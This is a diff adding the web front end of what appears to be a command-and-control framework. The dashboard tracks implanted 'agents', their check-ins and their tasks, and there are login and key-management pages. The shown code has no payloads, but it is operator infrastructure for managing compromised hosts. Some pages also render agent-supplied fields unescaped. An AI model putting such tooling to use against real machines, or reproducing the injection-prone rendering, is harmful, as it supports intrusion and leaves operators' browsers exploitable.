.login-preview {
margin-top: auto;
padding-top: 1rem;
border-top: 1px solid var(--border-main);
color: var(--text-muted);
display: grid;
gap: 0.5rem;
}
.login-preview code {
padding: 0.2rem 0.4rem;
border: 1px solid var(--border-main);
background: var(--bg-muted);
color: var(--text-main);
}
@media (max-width: 940px) {
.login-shell {
grid-template-columns: 1fr;
}
}

176
webui/assets/css/main.css Normal file
View File

@ -0,0 +1,176 @@
:root {
color-scheme: dark;
--bg-main: #0b0b0d;
--bg-panel: #131316;
--bg-panel-2: #191a1f;
--bg-muted: #1e2026;
--border-main: #2a2721;
--border-strong: #3a3324;
--text-main: #f3f0e8;
--text-muted: #a7a39b;
--accent: #d4af37;
--accent-strong: #e2c15b;
--danger: #be3737;
--success: #7ccf9c;
--shadow: 0 18px 48px rgba(0, 0, 0, 0.45);
--overlay-subtle: rgba(255, 255, 255, 0.02);
--overlay-border: rgba(255, 255, 255, 0.18);
--overlay-accent: rgba(212, 175, 55, 0.08);
--overlay-modal: rgba(0, 0, 0, 0.72);
}
:root[data-theme="light"] {
color-scheme: light;
--bg-main: #f3f0ea;
--bg-panel: #ffffff;
--bg-panel-2: #f6f2eb;
--bg-muted: #ebe6dc;
--border-main: #d7d0c2;
--border-strong: #bcae8b;
--text-main: #171717;
--text-muted: #5f5c57;
--accent: #d4af37;
--accent-strong: #e2c15b;
--danger: #a94f4f;
--success: #3d8453;
--shadow: 0 18px 40px rgba(23, 23, 23, 0.12);
--overlay-subtle: rgba(0, 0, 0, 0.02);
--overlay-border: rgba(0, 0, 0, 0.12);
--overlay-accent: rgba(183, 138, 16, 0.08);
--overlay-modal: rgba(23, 23, 23, 0.68);
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
html, body {
min-height: 100%;
}
body {
background:
radial-gradient(circle at top left, rgba(212, 175, 55, 0.08), transparent 24%),
linear-gradient(180deg, var(--bg-main), var(--bg-main));
color: var(--text-main);
font-family: Inter, Segoe UI, Arial, sans-serif;
}
a {
color: inherit;
text-decoration: none;
}
button,
input,
select,
textarea {
font: inherit;
}
button {
border: 0;
cursor: pointer;
}
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
.hidden {
display: none !important;
}
.icon-button,
.button,
.button-secondary {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
min-height: 42px;
padding: 0.65rem 1rem;
border-radius: 0;
border: 1px solid transparent;
transition: transform 120ms ease, border-color 120ms ease, background-color 120ms ease, color 120ms ease;
}
.button {
background: var(--accent);
color: #111;
border-color: rgba(255, 255, 255, 0.08);
font-weight: 700;
letter-spacing: 0.02em;
}
.button-secondary,
.icon-button {
background: var(--bg-panel-2);
color: var(--text-main);
border-color: var(--border-main);
}
.sidebar-footer .button-secondary {
min-height: 32px;
padding: 0.35rem 0.75rem;
font-size: 0.9rem;
}
.input,
.select,
textarea {
width: 100%;
min-height: 42px;
padding: 0.7rem 0.9rem;
border: 1px solid var(--border-main);
background: var(--bg-panel);
color: var(--text-main);
outline: none;
border-radius: 0;
}
.input:focus,
.select:focus,
textarea:focus {
border-color: var(--accent);
box-shadow: 0 0 0 1px rgba(212, 175, 55, 0.25);
}
.field-label {
display: block;
margin-bottom: 0.35rem;
font-size: 0.82rem;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--text-muted);
}
.card {
background: var(--bg-panel);
border: 1px solid var(--border-main);
box-shadow: var(--shadow);
}
.status-chip {
display: inline-flex;
align-items: center;
gap: 0.4rem;
padding: 0.3rem 0.6rem;
border: 1px solid var(--border-main);
background: var(--bg-panel-2);
color: var(--text-muted);
font-size: 0.8rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}

1421
webui/assets/js/agents.js Normal file

File diff suppressed because it is too large Load Diff

429
webui/assets/js/app.js Normal file
View File

@ -0,0 +1,429 @@
(() => {
const STORAGE_KEYS = {
theme: 'altin.theme',
token: 'altin.token',
serverUrl: 'altin.serverUrl',
};
const state = {
serverUrl: '',
token: '',
agents: [],
tasks: [],
tasksUnavailable: false,
};
const els = {};
const palette = [
'#d4af37', '#7aa2f7', '#8bd17c', '#e88f6a', '#c97ff5', '#55c0b7', '#f0c674', '#d46a6a'
];
// An agent that checked in more recently than this counts as active. Tombili's default
// check-in interval is 10s with 5s of jitter, so 60s tolerates a few missed callbacks
// while still flagging agents whose sleep interval has been raised via setsleep.
const ACTIVE_WINDOW_MS = 300 * 1000;
// Shown instead of a number when a metric's source endpoint failed, so a 0 is never
// mistaken for "none exist".
const UNAVAILABLE = '—';
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
const escapeHTML = (value) => String(value ?? '')
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#39;');
const setTheme = (theme) => {
const nextTheme = theme === 'light' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', nextTheme);
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
if (els.themeToggle) {
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
}
};
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
// The header carries no progress or success text any more - only failures, which
// is what used to get silently dropped when these elements were missing. The
// element starts empty and .page-error:empty hides it, so a healthy load leaves
// no residue under the page title.
const setError = (message) => {
if (!els.pageError) return;
els.pageError.textContent = message;
};
const redirectToLogin = () => {
window.location.href = '/login.html';
};
const requireAuth = () => {
const token = localStorage.getItem(STORAGE_KEYS.token);
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
if (!token || !serverUrl) {
redirectToLogin();
return false;
}
state.token = token;
state.serverUrl = normalizeServer(serverUrl);
return true;
};
const apiFetch = async (path, options = {}) => {
const headers = new Headers(options.headers || {});
headers.set('Authorization', state.token);
if (options.body && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/json');
}
const response = await fetch(`${state.serverUrl}${path}`, {
...options,
headers,
});
if (response.status === 401) {
redirectToLogin();
throw new Error('Unauthorized');
}
return response;
};
const loadJSON = async (path) => {
const response = await apiFetch(path);
const payload = await response.json().catch(() => ({}));
if (!response.ok) {
throw new Error(payload.message || `Request failed (${response.status}) for ${path}`);
}
return payload;
};
const formatNumber = (value) => new Intl.NumberFormat().format(value || 0);
// The server writes naive *local* timestamps (datetime.now()) but serialises them
// with a GMT/UTC label, so parsing that label as UTC makes every timestamp look
// hours in the past. Here that silently pinned every live agent to "Inactive".
//
// Rule: a real numeric offset (or Z) is authoritative and is trusted as-is. A bare
// GMT/UTC label on an otherwise naive value is that bug, so the wall-clock fields
// are re-read as local time instead.
//
// This is only exact when the browser and the server share a timezone, which holds
// for single-host deployments. The real fix is datetime.now(timezone.utc) in
// server/altin/agent.py.
const parseServerTime = (value) => {
if (!value) return NaN;
if (typeof value === 'number') return value;
if (/^\d{10,}$/.test(String(value).trim())) return Number(value);
const text = String(value).trim();
if (/[+-]\d{2}:?\d{2}$/.test(text) || /Z$/i.test(text)) {
return new Date(text).getTime();
}
const iso = text.match(/^(?:[A-Za-z]{3},?\s*)?(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/);
if (iso) {
return new Date(+iso[1], +iso[2] - 1, +iso[3], +iso[4], +iso[5], +iso[6]).getTime();
}
const rfc = text.match(/^[A-Za-z]{3},?\s*(\d{1,2})\s+([A-Za-z]{3})\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})/);
if (rfc) {
const months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
const month = months.indexOf(rfc[2].toLowerCase());
if (month >= 0) {
return new Date(+rfc[3], month, +rfc[1], +rfc[4], +rfc[5], +rfc[6]).getTime();
}
}
return new Date(text).getTime();
};
const formatTimeAgo = (value) => {
const time = parseServerTime(value);
if (!Number.isFinite(time)) return 'unknown';
const delta = Math.max(0, Date.now() - time);
const minutes = Math.floor(delta / 60000);
const hours = Math.floor(minutes / 60);
const days = Math.floor(hours / 24);
if (days > 0) return `${days}d ago`;
if (hours > 0) return `${hours}h ago`;
if (minutes > 0) return `${minutes}m ago`;
return 'just now';
};
const isAgentActive = (agent) => {
const lastSeen = parseServerTime(agent.last_checkin);
if (!Number.isFinite(lastSeen)) return false;
return (Date.now() - lastSeen) < ACTIVE_WINDOW_MS;
};
const buildCountMap = (items, keyFn) => {
const map = new Map();
items.forEach((item) => {
const key = keyFn(item) || 'unknown';
map.set(key, (map.get(key) || 0) + 1);
});
return [...map.entries()].sort((a, b) => b[1] - a[1]);
};
const renderMetrics = () => {
const sent = state.tasks.filter((task) => task.sent).length;
const completed = state.tasks.filter((task) => task.completed).length;
const active = state.agents.filter(isAgentActive).length;
const inactive = state.agents.length - active;
// A 0 here would read as "no tasks exist" when the truth is "we could not ask".
const taskValue = state.tasksUnavailable ? UNAVAILABLE : formatNumber(state.tasks.length);
const taskNote = state.tasksUnavailable ? 'task endpoint returned an error' : null;
els.metricAgents.textContent = formatNumber(state.agents.length);
els.metricActive.textContent = formatNumber(active);
els.metricInactive.textContent = formatNumber(inactive);
els.metricTasks.textContent = taskValue;
els.metricSent.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(sent);
els.metricCompleted.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(completed);
};
const drawPieChart = (canvas, data) => {
const ctx = canvas.getContext('2d');
const dpr = Math.max(1, window.devicePixelRatio || 1);
const size = Math.floor(canvas.clientWidth);
canvas.width = size * dpr;
canvas.height = size * dpr;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
ctx.clearRect(0, 0, size, size);
const total = data.reduce((sum, item) => sum + item.value, 0);
const center = size / 2;
const radius = size * 0.36;
let startAngle = -Math.PI / 2;
ctx.save();
ctx.translate(center, center);
if (!total) {
ctx.beginPath();
ctx.arc(0, 0, radius, 0, Math.PI * 2);
ctx.fillStyle = 'rgba(255,255,255,0.03)';
ctx.fill();
ctx.lineWidth = 1;
ctx.strokeStyle = 'rgba(255,255,255,0.08)';
ctx.stroke();
ctx.restore();
return;
}
data.forEach((item, index) => {
const angle = (item.value / total) * Math.PI * 2;
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.arc(0, 0, radius, startAngle, startAngle + angle);
ctx.closePath();
ctx.fillStyle = palette[index % palette.length];
ctx.fill();
startAngle += angle;
});
ctx.beginPath();
ctx.arc(0, 0, radius * 0.58, 0, Math.PI * 2);
ctx.fillStyle = getComputedStyle(document.documentElement).getPropertyValue('--bg-panel');
ctx.fill();
ctx.restore();
};
const renderDonut = ({ canvas, legend, totalChip, centerTotal, subtitle, keyFn, caption, emptyLabel }) => {
const counts = buildCountMap(state.agents, keyFn);
const total = state.agents.length;
const slices = counts.map(([name, value]) => ({ name, value }));
totalChip.textContent = formatNumber(total);
centerTotal.textContent = formatNumber(total);
subtitle.textContent = total ? caption : 'no agents registered';
if (!slices.length) {
legend.innerHTML = `<div class="empty-state">${emptyLabel}</div>`;
drawPieChart(canvas, []);
return;
}
legend.innerHTML = slices.map((item, index) => `
<div class="legend-item">
<div class="legend-key">
<span class="legend-swatch" style="background:${palette[index % palette.length]}"></span>
<span class="legend-name">${escapeHTML(item.name)}</span>
</div>
<span class="legend-count">${item.value}</span>
</div>
`).join('');
drawPieChart(canvas, slices);
};
const renderCharts = () => {
renderDonut({
canvas: els.chartCanvas,
legend: els.legendList,
totalChip: els.chartTotal,
centerTotal: els.chartTotalCenter,
subtitle: els.chartSubtitle,
keyFn: (agent) => agent.implant_id,
caption: 'agents by implant type',
emptyLabel: 'No implant types available yet.',
});
renderDonut({
canvas: els.osChartCanvas,
legend: els.osLegendList,
totalChip: els.osChartTotal,
centerTotal: els.osChartTotalCenter,
subtitle: els.osChartSubtitle,
keyFn: (agent) => agent.os,
caption: 'agents by operating system',
emptyLabel: 'No operating systems available yet.',
});
};
const renderRecentAgents = () => {
const recent = [...state.agents].sort((a, b) => new Date(b.last_checkin) - new Date(a.last_checkin)).slice(0, 6);
if (!recent.length) {
els.recentList.innerHTML = '<div class="empty-state">No agents have checked in yet.</div>';
return;
}
els.recentList.innerHTML = recent.map((agent) => `
<article class="recent-item">
<div class="recent-topline">
<div class="recent-strong">${agent.ip}</div>
<span class="status-chip">${agent.os}</span>
</div>
<div class="recent-meta">
<span>${agent.implant_id}</span>
<span>${formatTimeAgo(agent.last_checkin)}</span>
<span>${(agent.tags || []).length} tags</span>
</div>
</article>
`).join('');
};
const renderHeaderMeta = () => {
const server = state.serverUrl.replace(/^https?:\/\//, '');
if (els.serverChip) {
els.serverChip.textContent = server;
}
};
const sortAgents = () => {
state.agents.sort((a, b) => {
const ipCompare = (a.ip || '').localeCompare(b.ip || '', undefined, { numeric: true, sensitivity: 'base' });
if (ipCompare !== 0) return ipCompare;
return (a.implant_id || '').localeCompare(b.implant_id || '', undefined, { sensitivity: 'base' });
});
};
const loadOverview = async () => {
setError('');
state.tasksUnavailable = false;
// Settled rather than all: the agents and tasks endpoints are independent, and one
// failing must not discard the other's data. /api/tasks in particular 500s whenever a
// task references a deleted agent, which would otherwise blank the whole dashboard.
const [agentsOutcome, tasksOutcome] = await Promise.allSettled([
loadJSON('/api/agents'),
loadJSON('/api/tasks'),
]);
const agentsFailed = agentsOutcome.status === 'rejected';
const tasksFailed = tasksOutcome.status === 'rejected';
state.agents = agentsFailed ? [] : (agentsOutcome.value.agents || []);
if (!agentsFailed) sortAgents();
state.tasks = tasksFailed ? [] : (tasksOutcome.value.tasks || []);
state.tasksUnavailable = tasksFailed;
renderMetrics();
renderCharts();
renderRecentAgents();
renderHeaderMeta();
if (agentsFailed) {
setError(agentsOutcome.reason?.message || 'Failed to load agents.');
els.legendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
els.osLegendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
els.recentList.innerHTML = '<div class="empty-state">Unable to load recent agents.</div>';
return;
}
// A task failure is not fatal - the task cards fall back to an em dash and the
// rest of the dashboard is still accurate - so it is reported here rather than
// blanking the page.
if (tasksFailed) {
setError(tasksOutcome.reason?.message || 'Failed to load tasks.');
}
};
const initializeTheme = () => {
setTheme(getTheme());
els.themeToggle.addEventListener('click', () => {
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
});
};
const initializeLogout = () => {
els.logoutButton.addEventListener('click', () => {
localStorage.removeItem(STORAGE_KEYS.token);
redirectToLogin();
});
};
const cacheElements = () => {
els.themeToggle = document.getElementById('themeToggle');
els.logoutButton = document.getElementById('logoutButton');
els.pageError = document.getElementById('pageError');
els.serverChip = document.getElementById('serverChip');
els.metricAgents = document.getElementById('metricAgents');
els.metricActive = document.getElementById('metricActive');
els.metricInactive = document.getElementById('metricInactive');
els.metricTasks = document.getElementById('metricTasks');
els.metricSent = document.getElementById('metricSent');
els.metricCompleted = document.getElementById('metricCompleted');
els.chartCanvas = document.getElementById('chartCanvas');
els.chartTotal = document.getElementById('chartTotal');
els.chartTotalCenter = document.getElementById('chartTotalCenter');
els.chartSubtitle = document.getElementById('chartSubtitle');
els.legendList = document.getElementById('legendList');
els.osChartCanvas = document.getElementById('osChartCanvas');
els.osChartTotal = document.getElementById('osChartTotal');
els.osChartTotalCenter = document.getElementById('osChartTotalCenter');
els.osChartSubtitle = document.getElementById('osChartSubtitle');
els.osLegendList = document.getElementById('osLegendList');
els.recentList = document.getElementById('recentList');
};
const main = async () => {
if (!requireAuth()) {
return;
}
cacheElements();
initializeTheme();
initializeLogout();
await loadOverview();
window.addEventListener('resize', renderCharts);
};
document.addEventListener('DOMContentLoaded', main);
})();

193
webui/assets/js/auth.js Normal file
View File

@ -0,0 +1,193 @@
(() => {
const STORAGE_KEYS = {
theme: 'altin.theme',
token: 'altin.token',
serverUrl: 'altin.serverUrl',
savedServers: 'altin.savedServers',
};
const state = {
pendingLogin: null,
};
const els = {};
const readJSON = (key, fallback) => {
try {
const raw = localStorage.getItem(key);
return raw ? JSON.parse(raw) : fallback;
} catch {
return fallback;
}
};
const writeJSON = (key, value) => {
localStorage.setItem(key, JSON.stringify(value));
};
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
const setTheme = (theme) => {
const nextTheme = theme === 'light' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', nextTheme);
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
if (els.themeToggle) {
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
}
};
const showMessage = (message, tone = '') => {
if (!els.loginMessage) return;
els.loginMessage.textContent = message;
els.loginMessage.dataset.tone = tone;
};
const getSavedServers = () => {
const servers = readJSON(STORAGE_KEYS.savedServers, []);
return Array.isArray(servers) ? servers : [];
};
const saveServerEntry = ({ url, username }) => {
const servers = getSavedServers();
const normalizedUrl = normalizeServer(url);
const existingIndex = servers.findIndex((entry) => entry.url === normalizedUrl);
const entry = {
url: normalizedUrl,
label: normalizedUrl,
lastUsed: new Date().toISOString(),
};
if (existingIndex >= 0) {
servers[existingIndex] = entry;
} else {
servers.unshift(entry);
}
writeJSON(STORAGE_KEYS.savedServers, servers.slice(0, 10));
};
const renderSavedServers = () => {
const servers = getSavedServers();
if (!els.savedServerWrap || !els.savedServer) return;
if (!servers.length) {
els.savedServerWrap.classList.add('hidden');
els.savedServer.innerHTML = '';
return;
}
els.savedServerWrap.classList.remove('hidden');
els.savedServer.innerHTML = [
'<option value="">Select a saved server</option>',
...servers.map((entry, index) => `<option value="${index}">${entry.label || entry.url}</option>`),
].join('');
};
const applyServerSelection = (index) => {
const servers = getSavedServers();
if (index === '' || index == null) return;
const entry = servers[Number(index)];
if (!entry) return;
els.serverUrl.value = entry.url;
showMessage(`Loaded ${entry.label || entry.url}`, '');
};
const goHome = () => {
window.location.href = '/index.html';
};
const persistAuth = ({ token, url, username }) => {
localStorage.setItem(STORAGE_KEYS.token, token);
localStorage.setItem(STORAGE_KEYS.serverUrl, normalizeServer(url));
};
const login = async (event) => {
event.preventDefault();
showMessage('Signing in…');
const url = normalizeServer(els.serverUrl.value);
const username = els.username.value.trim();
const password = els.password.value;
if (!url || !username || !password) {
showMessage('All fields are required.', 'error');
return;
}
try {
const response = await fetch(`${url}/api/login`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ username, password }),
});
const payload = await response.json().catch(() => ({}));
if (!response.ok) {
throw new Error(payload.message || 'Login failed.');
}
persistAuth({ token: payload.token, url, username });
if (els.rememberServer?.checked) {
saveServerEntry({ url, username });
renderSavedServers();
}
showMessage('Login successful.', 'success');
goHome();
} catch (error) {
showMessage(error.message || 'Unable to reach the server.', 'error');
}
};
const initializeThemeToggle = () => {
setTheme(getTheme());
els.themeToggle?.addEventListener('click', () => {
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
});
};
const initializeSavedServerPicker = () => {
renderSavedServers();
els.savedServer?.addEventListener('change', (event) => applyServerSelection(event.target.value));
};
const initializeLoginHandlers = () => {
els.loginForm?.addEventListener('submit', login);
};
const restoreDefaults = () => {
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
if (serverUrl) {
els.serverUrl.value = serverUrl;
}
};
const cacheElements = () => {
els.themeToggle = document.getElementById('themeToggle');
els.loginForm = document.getElementById('loginForm');
els.serverUrl = document.getElementById('serverUrl');
els.username = document.getElementById('username');
els.password = document.getElementById('password');
els.loginMessage = document.getElementById('loginMessage');
els.savedServerWrap = document.getElementById('savedServerWrap');
els.savedServer = document.getElementById('savedServer');
els.rememberServer = document.getElementById('rememberServer');
};
document.addEventListener('DOMContentLoaded', () => {
cacheElements();
initializeThemeToggle();
restoreDefaults();
initializeSavedServerPicker();
initializeLoginHandlers();
showMessage('Choose a server and sign in to continue.');
});
})();

344
webui/assets/js/keys.js Normal file
View File

@ -0,0 +1,344 @@
(() => {
const STORAGE_KEYS = {
theme: 'altin.theme',
token: 'altin.token',
serverUrl: 'altin.serverUrl',
};
const state = {
serverUrl: '',
token: '',
keys: [],
filteredKeys: [],
search: '',
editingKey: null,
revealedKeys: new Set(),
};
const els = {};
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
const escapeHTML = (value) => String(value ?? '')
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#39;');
const setTheme = (theme) => {
const nextTheme = theme === 'light' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', nextTheme);
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
if (els.themeToggle) {
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
}
};
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
const redirectToLogin = () => {
window.location.href = '/login.html';
};
const requireAuth = () => {
const token = localStorage.getItem(STORAGE_KEYS.token);
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
if (!token || !serverUrl) {
redirectToLogin();
return false;
}
state.token = token;
state.serverUrl = normalizeServer(serverUrl);
return true;
};
const apiFetch = async (path, options = {}) => {
const headers = new Headers(options.headers || {});
headers.set('Authorization', state.token);
if (options.body && !headers.has('Content-Type')) {
headers.set('Content-Type', 'application/json');
}
const response = await fetch(`${state.serverUrl}${path}`, {
...options,
headers,
});
if (response.status === 401) {
redirectToLogin();
throw new Error('Unauthorized');
}
return response;
};
const loadJSON = async (path) => {
const response = await apiFetch(path);
const payload = await response.json().catch(() => ({}));
if (!response.ok) {
throw new Error(payload.message || `Request failed for ${path}`);
}
return payload;
};
const setMessage = (message, tone = '') => {
if (!els.keyModalMessage) return;
els.keyModalMessage.textContent = message;
els.keyModalMessage.dataset.tone = tone;
};
const renderServer = () => {
if (els.serverChip) {
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
}
};
const formatKey = (key) => state.revealedKeys.has(key.id)
? `<span class="key-mask revealed">${escapeHTML(key.key)}</span>`
: '<span class="key-mask">••••••••••••</span>';
const renderTable = () => {
const query = state.search.trim().toLowerCase();
const keys = state.keys.filter((key) => {
if (!query) return true;
return [key.id, key.name, key.key].some((value) => String(value || '').toLowerCase().includes(query));
});
state.filteredKeys = keys;
els.keysCount.textContent = `${keys.length} total`;
if (!keys.length) {
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No keys match the current search.</div></td></tr>';
return;
}
els.keysTableBody.innerHTML = keys.map((key) => `
<tr>
<td>${escapeHTML(key.id)}</td>
<td>${escapeHTML(key.name)}</td>
<td>${formatKey(key)}</td>
<td>
<div class="table-actions">
<button class="button-secondary" type="button" data-key-action="toggle" data-key-id="${escapeHTML(key.id)}">${state.revealedKeys.has(key.id) ? 'Hide' : 'Show'}</button>
<button class="button-secondary" type="button" data-key-action="copy" data-key-id="${escapeHTML(key.id)}">Copy</button>
<button class="button-secondary" type="button" data-key-action="edit" data-key-id="${escapeHTML(key.id)}">Edit</button>
<button class="button" type="button" data-key-action="delete" data-key-id="${escapeHTML(key.id)}">Delete</button>
</div>
</td>
</tr>
`).join('');
};
const loadKeys = async () => {
const payload = await loadJSON('/api/keys');
state.keys = payload.keys || [];
state.keys.sort((a, b) => (a.name || '').localeCompare(b.name || '', undefined, { sensitivity: 'base' }));
renderTable();
};
const openModal = (key = null) => {
state.editingKey = key;
els.keyModal.classList.add('is-open');
els.keyModal.classList.remove('hidden');
els.keyModal.setAttribute('aria-hidden', 'false');
els.keyModalTitle.textContent = key ? 'Replace key' : 'Create key';
els.saveKeyButton.textContent = key ? 'Replace key' : 'Save key';
els.keyName.value = key?.name || '';
els.keyValue.value = key?.key || '';
setMessage('');
els.keyName.focus();
};
const closeModal = () => {
els.keyModal.classList.remove('is-open');
els.keyModal.classList.add('hidden');
els.keyModal.setAttribute('aria-hidden', 'true');
state.editingKey = null;
setMessage('');
};
const saveKey = async () => {
const name = els.keyName.value.trim();
const key = els.keyValue.value.trim();
if (!name || !key) {
setMessage('Name and key are required.', 'error');
return;
}
setMessage(state.editingKey ? 'Updating key…' : 'Creating key…');
try {
if (state.editingKey) {
await apiFetch('/api/keys', {
method: 'DELETE',
body: JSON.stringify({ id: state.editingKey.id }),
});
}
const response = await apiFetch('/api/keys', {
method: 'POST',
body: JSON.stringify({ name, key }),
});
if (!response.ok) {
const payload = await response.json().catch(() => ({}));
throw new Error(payload.message || 'Unable to save key.');
}
await loadKeys();
closeModal();
} catch (error) {
setMessage(error.message || 'Unable to save key.', 'error');
}
};
const deleteKey = async (id) => {
if (!confirm('Delete this key?')) return;
try {
const response = await apiFetch('/api/keys', {
method: 'DELETE',
body: JSON.stringify({ id }),
});
if (!response.ok && response.status !== 204) {
const payload = await response.json().catch(() => ({}));
throw new Error(payload.message || 'Unable to delete key.');
}
state.revealedKeys.delete(id);
await loadKeys();
} catch (error) {
setMessage(error.message || 'Unable to delete key.', 'error');
}
};
const copyKey = async (id) => {
const key = state.keys.find((entry) => entry.id === id);
if (!key) return;
try {
await navigator.clipboard.writeText(key.key);
// Show a temporary confirmation
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
if (button) {
const originalText = button.textContent;
button.textContent = 'Copied!';
setTimeout(() => {
button.textContent = originalText;
}, 2000);
}
} catch (error) {
console.error('Failed to copy key:', error);
// Fallback for older browsers or secure context issues
const textArea = document.createElement('textarea');
textArea.value = key.key;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand('copy');
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
if (button) {
const originalText = button.textContent;
button.textContent = 'Copied!';
setTimeout(() => {
button.textContent = originalText;
}, 2000);
}
} catch (fallbackError) {
console.error('Fallback copy also failed:', fallbackError);
}
document.body.removeChild(textArea);
}
};
const initializeTheme = () => {
setTheme(getTheme());
els.themeToggle.addEventListener('click', () => {
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
});
};
const initializeLogout = () => {
els.logoutButton.addEventListener('click', () => {
localStorage.removeItem(STORAGE_KEYS.token);
redirectToLogin();
});
};
const initializeHandlers = () => {
els.keySearch.addEventListener('input', (event) => {
state.search = event.target.value;
renderTable();
});
els.refreshKeysButton.addEventListener('click', loadKeys);
els.createKeyButton.addEventListener('click', () => openModal());
els.closeKeyModalButton.addEventListener('click', closeModal);
els.cancelKeyModalButton.addEventListener('click', closeModal);
els.keyModal.addEventListener('click', (event) => {
if (event.target === els.keyModal) closeModal();
});
els.saveKeyButton.addEventListener('click', saveKey);
els.keysTableBody.addEventListener('click', (event) => {
const button = event.target.closest('[data-key-action]');
if (!button) return;
const id = button.dataset.keyId;
const key = state.keys.find((entry) => entry.id === id);
if (!key) return;
switch (button.dataset.keyAction) {
case 'toggle':
if (state.revealedKeys.has(id)) state.revealedKeys.delete(id); else state.revealedKeys.add(id);
renderTable();
break;
case 'copy':
copyKey(id);
break;
case 'edit':
openModal(key);
break;
case 'delete':
deleteKey(id);
break;
}
});
};
const cacheElements = () => {
els.themeToggle = document.getElementById('themeToggle');
els.logoutButton = document.getElementById('logoutButton');
els.serverChip = document.getElementById('serverChip');
els.refreshKeysButton = document.getElementById('refreshKeysButton');
els.createKeyButton = document.getElementById('createKeyButton');
els.keySearch = document.getElementById('keySearch');
els.keysCount = document.getElementById('keysCount');
els.keysTableBody = document.getElementById('keysTableBody');
els.keyModal = document.getElementById('keyModal');
els.closeKeyModalButton = document.getElementById('closeKeyModalButton');
els.cancelKeyModalButton = document.getElementById('cancelKeyModalButton');
els.keyModalTitle = document.getElementById('keyModalTitle');
els.keyModalMessage = document.getElementById('keyModalMessage');
els.keyName = document.getElementById('keyName');
els.keyValue = document.getElementById('keyValue');
els.saveKeyButton = document.getElementById('saveKeyButton');
};
const main = async () => {
if (!requireAuth()) return;
cacheElements();
initializeTheme();
initializeLogout();
initializeHandlers();
renderServer();
try {
await loadKeys();
} catch (error) {
setMessage(error.message || 'Unable to load keys.', 'error');
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load keys.</div></td></tr>';
}
};
document.addEventListener('DOMContentLoaded', main);
})();

324
webui/assets/js/users.js Normal file
View File

@ -0,0 +1,324 @@
(() => {
const STORAGE_KEYS = {
theme: 'altin.theme',
token: 'altin.token',
serverUrl: 'altin.serverUrl',
};
const state = {
serverUrl: '',
token: '',
users: [],
search: '',
editingUser: null,
};
const els = {};
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
const escapeHTML = (value) => String(value ?? '')
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#39;');
const setTheme = (theme) => {
const nextTheme = theme === 'light' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', nextTheme);
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
if (els.themeToggle) {
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
}
};
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
const redirectToLogin = () => {
window.location.href = '/login.html';
};
const requireAuth = () => {
const token = localStorage.getItem(STORAGE_KEYS.token);
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
if (!token || !serverUrl) {
redirectToLogin();
return false;
}
state.token = token;
state.serverUrl = normalizeServer(serverUrl);
try {
const payloadPart = token.split('.')[1] || '';
